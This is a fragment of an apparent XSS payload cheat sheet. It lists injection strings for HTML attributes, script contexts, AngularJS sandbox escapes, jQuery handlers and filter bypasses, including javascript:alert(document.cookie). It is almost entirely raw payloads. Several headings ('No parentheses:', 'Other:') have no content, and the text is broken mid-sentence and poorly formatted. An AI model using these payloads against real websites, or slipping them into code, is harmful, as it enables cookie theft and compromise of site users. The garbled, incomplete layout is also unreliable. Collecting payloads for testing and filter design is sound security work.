testtest”onload=this.style.width=‘100px’> #x’; CharCode:

if the input is already in script tag: @domain.com">user+'-alert`1`-'@domain.com AngularJS: {{constructor.constructor('alert(1)')()}} {{$on.constructor('alert(1)')()}} {{{}.")));alert(1)//"}} {{{}.")));alert(1)//"}} toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41) Scriptless:

javascript:alert(document.cookie) \“-alert(1)}// <>

Another case: param=abc`;return+false});});alert`xss`; abc`; Finish the string return+false}); Finish the jQuery click function }); Finish the jQuery ready function alert`xss`; Here we can execute our code This closes the script tag to prevent JavaScript parsing errors ``` ### Restrictions Bypas ```` No parentheses: No parentheses and no semicolons: No parentheses and no spaces: Angle brackets HTML encoded (in an attribute): “onmouseover=“alert(1) ‘-alert(1)-’ If quote is escaped: ‘}alert(1);{‘ ‘}alert(1)%0A{‘ \’}alert(1);{// Embedded tab, newline, carriage return to break up XSS:

Other: